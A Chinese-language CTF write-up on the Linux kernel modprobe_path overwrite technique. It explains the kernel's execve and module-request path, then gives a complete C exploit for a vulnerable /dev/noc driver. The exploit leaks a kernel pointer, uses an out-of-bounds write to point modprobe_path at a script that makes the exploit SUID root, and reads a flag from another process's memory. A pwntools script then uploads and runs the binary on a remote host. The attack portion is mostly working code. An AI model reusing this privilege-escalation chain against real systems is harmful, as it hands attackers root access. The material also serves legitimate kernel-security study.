Linux内核modprobe_path覆盖利用技术

❯ cat /proc/sys/kernel/modprobe/sbin/modprobe

#修改modprobeecho /tmp/test > /proc/sys/kernel/modprobe#检查是否修改成功cat /proc/sys/kernel/modprobe

SYSCALL_DEFINE3(execve,constchar __user *, filename,      	  // 参数1：可执行文件路径constchar __user *const __user *, argv,  // 参数2：命令行参数数组constchar __user *const __user *, envp)  // 参数3：环境变量数组{return do_execve(getname(filename), argv, envp); //getname从用户态读取filename}

staticintdo_execve(struct filename *filename,constchar __user *const __user *__argv,constchar __user *const __user *__envp){struct user_arg_ptr argv = { .ptr.native = __argv };struct user_arg_ptr envp = { .ptr.native = __envp };// AT_FDCWD为当前工作目录return do_execveat_common(AT_FDCWD, filename, argv, envp, 0);}

static int do_execveat_common(int fd, struct filename *filename,struct user_arg_ptr argv,struct user_arg_ptr envp,                  int flags){struct linux_binprm *bprm; //描述    int retval;if (IS_ERR(filename))return PTR_ERR(filename);if ((current->flags & PF_NPROC_EXCEEDED) &&  //防止进程数超限仍不断 execis_rlimit_overlimit(current_ucounts(), UCOUNT_RLIMIT_NPROC, rlimit(RLIMIT_NPROC))) {        retval = -EAGAIN;        goto out_ret;    }    current->flags &= ~PF_NPROC_EXCEEDED;    bprm = alloc_bprm(fd, filename, flags);if (IS_ERR(bprm)) {        retval = PTR_ERR(bprm);        goto out_ret;    }    retval = count(argv, MAX_ARG_STRINGS);if (retval == 0)pr_warn_once("process '%s' launched '%s' with NULL argv: empty string added\n",                 current->comm, bprm->filename);if (retval < 0)        goto out_free;    bprm->argc = retval;    retval = count(envp, MAX_ARG_STRINGS);if (retval < 0)        goto out_free;    bprm->envc = retval;    retval = bprm_stack_limits(bprm);if (retval < 0)        goto out_free;    retval = copy_string_kernel(bprm->filename, bprm);if (retval < 0)        goto out_free;    bprm->exec = bprm->p;    retval = copy_strings(bprm->envc, envp, bprm);if (retval < 0)        goto out_free;    retval = copy_strings(bprm->argc, argv, bprm);if (retval < 0)        goto out_free;if (bprm->argc == 0) {        retval = copy_string_kernel("", bprm);if (retval < 0)            goto out_free;        bprm->argc = 1;    }    retval = bprm_execve(bprm); //进入真正的执行阶段out_free:free_bprm(bprm);out_ret:putname(filename);return retval;}

static int bprm_execve(struct linux_binprm *bprm){int retval;    retval = prepare_bprm_creds(bprm);  //准备执行凭据if (retval)return retval;    check_unsafe_exec(bprm);    current->in_execve = 1;  //执行状态标记，表示当前进程正处于 execve 中    sched_mm_cid_before_execve(current); //检查是否允许执行，是否运行提权    sched_exec();    retval = security_bprm_creds_for_exec(bprm);if (retval)goto out;    retval = exec_binprm(bprm);  //进入二进制加载核心if (retval < 0)goto out;    sched_mm_cid_after_execve(current);    current->in_execve = 0;    rseq_execve(current);    user_events_execve(current);    acct_update_integrals(current);    task_numa_free(current, false);return retval;out:if (bprm->point_of_no_return && !fatal_signal_pending(current))        force_fatal_sig(SIGSEGV);    sched_mm_cid_after_execve(current);    current->in_execve = 0;return retval;}

static int exec_binprm(struct linux_binprm *bprm){    pid_t old_pid, old_vpid;    int ret, depth;    old_pid = current->pid;  //保存执行前的 PID 信息rcu_read_lock();    old_vpid = task_pid_nr_ns(current, task_active_pid_ns(current->parent));rcu_read_unlock();//解析主循环for (depth = 0;; depth++) {struct file *exec;if (depth > 5)return -ELOOP;        ret = search_binary_handler(bprm);  //根据文件内容选择合适的处理器if (ret < 0)return ret;if (!bprm->interpreter)break;        exec = bprm->file; // 解释器替换，下一轮执行的主角从原文件变成解释器本身        bprm->file = bprm->interpreter;        bprm->interpreter = NULL;allow_write_access(exec);if (unlikely(bprm->have_execfd)) {if (bprm->executable) {fput(exec);return -ENOEXEC;            }            bprm->executable = exec;        } elsefput(exec);    }//执行成功后的系统通知audit_bprm(bprm);trace_sched_process_exec(current, old_pid, bprm);ptrace_event(PTRACE_EVENT_EXEC, old_vpid);proc_exec_connector(current);return 0;}

static int search_binary_handler(struct linux_binprm *bprm){bool need_retry = IS_ENABLED(CONFIG_MODULES);struct linux_binfmt *fmt;    int retval;    retval = prepare_binprm(bprm);  //读取文件前 128 字节if (retval < 0)return retval;    retval = security_bprm_check(bprm);  //安全检查if (retval)return retval;    retval = -ENOENT; retry:read_lock(&binfmt_lock);// 解析器匹配循环list_for_each_entry(fmt, &formats, lh) {if (!try_module_get(fmt->module))continue;read_unlock(&binfmt_lock);        retval = fmt->load_binary(bprm);  //检查文件魔数，判断文件格式read_lock(&binfmt_lock);put_binfmt(fmt);if (bprm->point_of_no_return || (retval != -ENOEXEC)) {read_unlock(&binfmt_lock);return retval;        }    }read_unlock(&binfmt_lock);//没有找到解析器if (need_retry) {if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&printable(bprm->buf[2]) && printable(bprm->buf[3]))return retval;if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)return retval;        need_retry = false;        goto retry;    }return retval;}

retval = fmt->load_binary(bprm);  //检查文件魔数，判断文件格式

//检查是否为 ELF 魔数 \x7FELFif (memcmp(elf_ex->e_ident, ELFMAG, SELFMAG) != 0)goto out;

if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)return retval;

#definerequest_module(mod...) __request_module(true, mod)

int __request_module(bool wait, const char *fmt, ...){    va_list args;    char module_name[MODULE_NAME_LEN];int ret, dup_ret;    WARN_ON_ONCE(wait && current_is_async());if (!modprobe_path[0])return -ENOENT;    va_start(args, fmt);    ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);    va_end(args);if (ret >= MODULE_NAME_LEN)return -ENAMETOOLONG;    ret = security_kernel_module_request(module_name);if (ret)return ret;    ret = down_timeout(&kmod_concurrent_max, MAX_KMOD_ALL_BUSY_TIMEOUT * HZ);if (ret) {        pr_warn_ratelimited("request_module: modprobe %s cannot be processed, kmod busy with %d threads for more than %d seconds now",                    module_name, MAX_KMOD_CONCURRENT, MAX_KMOD_ALL_BUSY_TIMEOUT);return ret;    }    trace_module_request(module_name, wait, _RET_IP_);if (kmod_dup_request_exists_wait(module_name, wait, &dup_ret)) {        ret = dup_ret;goto out;    }    ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);out:    up(&kmod_concurrent_max);return ret;}EXPORT_SYMBOL(__request_module);

static int call_modprobe(char *orig_module_name, int wait){struct subprocess_info *info;static char *envp[] = {"HOME=/","TERM=linux","PATH=/sbin:/usr/sbin:/bin:/usr/bin",NULL    };char *module_name;int ret;char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);if (!argv)goto out;    module_name = kstrdup(orig_module_name, GFP_KERNEL);if (!module_name)goto free_argv;    argv[0] = modprobe_path;    argv[1] = "-q";    argv[2] = "--";    argv[3] = module_name;    argv[4] = NULL;    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);if (!info)goto free_module_name;    ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE);    kmod_dup_request_announce(orig_module_name, ret);return ret;free_module_name:    kfree(module_name);free_argv:    kfree(argv);out:    kmod_dup_request_announce(orig_module_name, -ENOMEM);return -ENOMEM;}

    argv[0] = modprobe_path;    argv[1] = "-q";    argv[2] = "--";    argv[3] = module_name;    argv[4] = NULL;    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);if (!info)goto free_module_name;    ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE);

char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;

#ifdef CONFIG_STATIC_USERMODEHELPER    sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;

CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/usermode-helper"

qemu-system-x86_64 \    -m 128M \    -kernel ./bzImage \    -initrd  ./rootfs.cpio \    -append "root=/dev/ram rdinit=/init console=ttyS0 oops=panic panic=1 quiet rodata=off" \    -cpu qemu64,+smep,+smap \    -smp cores=2,threads=1 \    -nographic

mkdir rootfscd rootfscpio -idvm < ../rootfs.cpio         

#!/bin/shmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devecho "[*] Welcome to Kernel PWN Environment"echo "[*] Starting shell..."insmod /home/babydev.kochmod 777 /dev/noc /tmpcp /proc/kallsyms /tmp/coresysms.txt/home/eatFlag &exec /bin/sh# exec su -s /bin/sh ctf

typedef struct {uint32_t proc_id;char proc_name[16];uint32_t mem_free;uint32_t mem_used;uint64_t mem_ptr;} leak_data_t;// 打开漏洞设备int dev_fd = open("/dev/noc", O_RDWR); if (dev_fd < 0) return 1;// 通过ioctl泄露内核信息leak_data_t leak = {0}; ioctl(dev_fd, 0x83170405, &leak);uint64_t kern_buf = leak.mem_ptr;

staticuint64_tget_kernel_sym(constchar *name) {    FILE *fp = fopen("/tmp/coresysms.txt", "r"); //临时文件if (!fp) fp = fopen("/proc/kallsyms", "r");  //内核符号表路径if (!fp) return 0;char row[512], sym_name[256], sym_type;unsignedlonglong sym_addr;while (fgets(row, sizeof(row), fp)) {// 解析符号表格式：地址 类型 符号名if (sscanf(row, "%llx %c %255s", &sym_addr, &sym_type, sym_name) == 3) {if (!strcmp(sym_name, name)) {  // 找到目标符号fclose(fp); return (uint64_t)sym_addr;            }        }    }fclose(fp); return 0;}// 获取内核符号 modprobe_path 地址函数uint64_t target_sym = get_kernel_sym("modprobe_path");

// 分配填充数据char *padding = malloc(0x10000); memset(padding, 'A', 0x10000);// 写入大量数据填充缓冲区write(dev_fd, padding, 0x10000); lseek(dev_fd, 0, SEEK_SET);  	// 重置文件偏移write(dev_fd, padding, 0x20);  // 再次写入部分数据free(padding);uint64_t offset = target_sym - kern_buf;  // 计算目标符号相对于内核缓冲区的偏移// 拆分偏移：高56位作为基地址，低8位作为相对位置uint64_t base_addr = offset & ~0xffULL;  // 清除低8位uint64_t rel_pos = offset & 0xffULL;     // 只保留低8位uint64_t end_addr = base_addr + 1;      // 结束地址

char *exploit_buf = calloc(1, 0xffff);  // 构建利用缓冲区for (int idx = 0; idx < 7; idx++)   	// 写入基地址    exploit_buf[idx] = (base_addr >> (8 * (idx + 1))) & 0xff;memcpy(exploit_buf + 7, &end_addr, 8);  // 写入结束地址

lseek(dev_fd, 0x10001, SEEK_SET);  	 // 定位到越界位置write(dev_fd, exploit_buf, 0xffff);  // 写入利用数据free(exploit_buf);char hijack_path[0x40] = {0}; strcpy(hijack_path, "/tmp/s");  // 要写入 modprobe_path 的路径// 定位到 modprobe_path 位置并写入新路径lseek(dev_fd, (off_t)rel_pos, SEEK_SET); write(dev_fd, hijack_path, sizeof(hijack_path));close(dev_fd);

staticvoidcreate_helper(constchar *path, constchar *script) {int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0777);  // 创建可执行文件write(fd, script, strlen(script)); close(fd); chmod(path, 0777);  // 设置执行权限}// 创建脚本/tmp/s，用于给当前程序设置 SUID 权限create_helper("/tmp/s","#!/bin/sh\n","chown root:root /tmp/exp\n","chmod 4755 /tmp/exp\n");

// 触发modprobe执行函数staticvoidexec_trigger(void) {// 创建一个包含无效魔数的文件int fd = open("/tmp/dummy", O_CREAT | O_TRUNC | O_WRONLY, 0777);unsignedchar header[4] = {0xff, 0xff, 0xff, 0xff};  // 无效魔数write(fd, header, 4); close(fd); chmod("/tmp/dummy", 0777); system("/tmp/dummy");  // 执行触发文件}exec_trigger();

// 搜索目标进程staticintsearch_target_proc(void) {    DIR *dp = opendir("/proc");  // 打开/proc目录if (!dp) return -1;struct dirent *ent; char link_path[128], real_path[256];while ((ent = readdir(dp))) {char *endp; long proc_id = strtol(ent->d_name, &endp, 10);  // 转换为进程IDif (*endp) continue;  // 如果不是数字目录则跳过// 构建/proc/[pid]/exe符号链接路径snprintf(link_path, sizeof(link_path), "/proc/%ld/exe", proc_id);ssize_t len = readlink(link_path, real_path, sizeof(real_path) - 1);if (len > 0) {             real_path[len] = 0;  // 确保字符串结束// 检查是否是目标进程if (!strcmp(real_path, "/home/eatFlag")) { closedir(dp); return (int)proc_id;  // 返回目标进程ID            }        }    }closedir(dp); return -1;  // 未找到目标进程}// 读取 flag 函数staticvoidget_flag(void) {int proc_id = search_target_proc();  // 查找目标进程if (proc_id < 0) return;// 打开目标进程的内存文件char mem_file[64]; snprintf(mem_file, sizeof(mem_file), "/proc/%d/mem", proc_id);int fd = open(mem_file, O_RDONLY); if (fd < 0) return;// 读取flag指针，固定偏移0x407148uint64_t secret_ptr = 0; pread(fd, &secret_ptr, 8, 0x407148);// 通过指针读取flag数据char secret_data[0x110] = {0}; pread(fd, secret_data, 0x100, (off_t)secret_ptr);printf("[!] FLAG: %s\n", secret_data); //打印 flagclose(fd);}

#define _GNU_SOURCE#include <sys/stat.h>#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <fcntl.h>#include <unistd.h>#include <sys/ioctl.h>#include <dirent.h>typedef struct {uint32_t proc_id;char proc_name[16];uint32_t mem_free;uint32_t mem_used;uint64_t mem_ptr;} leak_data_t;staticuint64_tget_kernel_sym(constchar *name) {    FILE *fp = fopen("/tmp/coresysms.txt", "r");if (!fp) fp = fopen("/proc/kallsyms", "r");if (!fp) return 0;char row[512], sym_name[256], sym_type;unsignedlonglong sym_addr;while (fgets(row, sizeof(row), fp)) {if (sscanf(row, "%llx %c %255s", &sym_addr, &sym_type, sym_name) == 3) {if (!strcmp(sym_name, name)) {fclose(fp);return (uint64_t)sym_addr;            }        }    }fclose(fp);return 0;}staticintsearch_target_proc(void) {    DIR *dp = opendir("/proc");if (!dp) return -1;struct dirent *ent;char link_path[128], real_path[256];while ((ent = readdir(dp))) {char *endp;long proc_id = strtol(ent->d_name, &endp, 10);if (*endp) continue;snprintf(link_path, sizeof(link_path), "/proc/%ld/exe", proc_id);ssize_t len = readlink(link_path, real_path, sizeof(real_path) - 1);if (len > 0) {            real_path[len] = 0;if (!strcmp(real_path, "/home/eatFlag")) {closedir(dp);return (int)proc_id;            }        }    }closedir(dp);return -1;}staticvoidget_flag(void) {int proc_id = search_target_proc();if (proc_id < 0) return;char mem_file[64];snprintf(mem_file, sizeof(mem_file), "/proc/%d/mem", proc_id);int fd = open(mem_file, O_RDONLY);if (fd < 0) return;uint64_t secret_ptr = 0;pread(fd, &secret_ptr, 8, 0x407148);char secret_data[0x110] = {0};pread(fd, secret_data, 0x100, (off_t)secret_ptr);printf("[!] FLAG: %s\n", secret_data);close(fd);}staticvoidcreate_helper(constchar *path, constchar *script) {int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0777);write(fd, script, strlen(script));close(fd);chmod(path, 0777);}staticvoidexec_trigger(void) {int fd = open("/tmp/dummy", O_CREAT | O_TRUNC | O_WRONLY, 0777);unsignedchar header[4] = {0xff, 0xff, 0xff, 0xff};write(fd, header, 4);close(fd);chmod("/tmp/dummy", 0777);system("/tmp/dummy");}intmain(void) {if (geteuid() == 0) {get_flag();return 0;    }uint64_t target_sym = get_kernel_sym("modprobe_path");int dev_fd = open("/dev/noc", O_RDWR);if (dev_fd < 0) return 1;leak_data_t leak = {0};ioctl(dev_fd, 0x83170405, &leak);uint64_t kern_buf = leak.mem_ptr;char *padding = malloc(0x10000);memset(padding, 'A', 0x10000);write(dev_fd, padding, 0x10000);lseek(dev_fd, 0, SEEK_SET);write(dev_fd, padding, 0x20);free(padding);uint64_t offset = target_sym - kern_buf;uint64_t base_addr = offset & ~0xffULL;uint64_t rel_pos = offset & 0xffULL;uint64_t end_addr = base_addr + 1;char *exploit_buf = calloc(1, 0xffff);for (int idx = 0; idx < 7; idx++)        exploit_buf[idx] = (base_addr >> (8 * (idx + 1))) & 0xff;memcpy(exploit_buf + 7, &end_addr, 8);lseek(dev_fd, 0x10001, SEEK_SET);write(dev_fd, exploit_buf, 0xffff);free(exploit_buf);char hijack_path[0x40] = {0};strcpy(hijack_path, "/tmp/s");lseek(dev_fd, (off_t)rel_pos, SEEK_SET);write(dev_fd, hijack_path, sizeof(hijack_path));close(dev_fd);create_helper("/tmp/s","#!/bin/sh\n""chown root:root /tmp/exp\n""chmod 4755 /tmp/exp\n"    );exec_trigger();execl("/tmp/exp", "exp", NULL);return 0;}

#使用musl-gcc并剥离符号减少程序体积musl-gcc -o exp exp.c -static -Osstrip exp

mv exp ./rootfscd ./rootfsfind . -print0 | cpio --null -ov --format=newc > ../exp.cpio

#!/bin/shqemu-system-x86_64 \    -m 128M \    -kernel ./bzImage \    -initrd  ./exp.cpio \    -monitor /dev/null \    -append "root=/dev/ram rdinit=/init console=ttyS0 oops=panic panic=1 quiet rodata=off " \    -cpu qemu64,+smep,+smap \    -smp cores=2,threads=1 \    -nographic \    -snapshot

#!/usr/bin/env python3from pwn import *import base64, gzipwith open("./exp", 'rb') as f:    binary_data = f.read()compressed = gzip.compress(binary_data)b64_data = base64.b64encode(compressed).decode('ascii')lines = [b64_data[i:i+76] for i in range(0, len(b64_data), 76)]io = remote("39.106.73.70", 30087)io.recvuntil(b'/ $')io.sendline(b'cat > /tmp/exp.gz.b64 << "EOF"')for line in lines:io.sendline(line.encode())io.sendline(b'EOF')io.recvuntil(b'/ $')io.sendline(b'base64 -d /tmp/exp.gz.b64 | gunzip > /tmp/exp')io.recvuntil(b'/ $')io.sendline(b'chmod +x /tmp/exp')io.recvuntil(b'/ $')io.sendline(b'/tmp/exp')output = io.recvall(timeout=20).decode(errors='ignore')print(output)